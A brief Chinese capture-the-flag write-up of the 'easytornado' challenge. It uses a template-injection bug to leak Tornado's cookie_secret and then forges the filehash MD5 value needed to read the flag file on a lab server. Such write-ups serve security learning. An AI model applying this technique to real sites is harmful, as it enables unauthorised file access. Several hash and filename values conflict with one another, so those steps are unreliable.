背景知识
Tornado
题目
一个一个点击尝试吧
/flllllllllag这个文件,估计是flag
发现了render,render是渲染HTML页面用到的函数。
发现加密方式是MD5值是文件名的MD5加上cookie_secret这个值,之后再MD5加密
获取cookie_secret的值
http://61.147.171.105:56466/file?filename=/flag.txt&filehash=84c4fc3288f79a6d1fb4a73b2536b6c2
报错
msg存在模板注入漏洞,读取cookie_secret
得到cookie_secret:f2e27986-f7b3-4d65-9f08-e63dfccd4edc
进行md5加密
/fllllllllllllag:3bf9f6cf685a6dd8defadabfb41a03a1
再进行一次加密: f2e27986-f7b3-4d65-9f08-e63dfccd4edc3bf9f6cf685a6dd8defadabfb41a03a1
得到d4326471-bd08-4d3b-af91-67fb1ecd89a03bf9f6cf685a6dd8defadabfb41a03a1
获取flag
/file?filename=/fllllllllllllag&filehash=7c1ec11b9a718d5e2be42a5edcd1d531
得到flag
参考学习链接:
【愚公系列】2023年05月 攻防世界-Web(easytornado)_愚公搬代码的博客-CSDN博客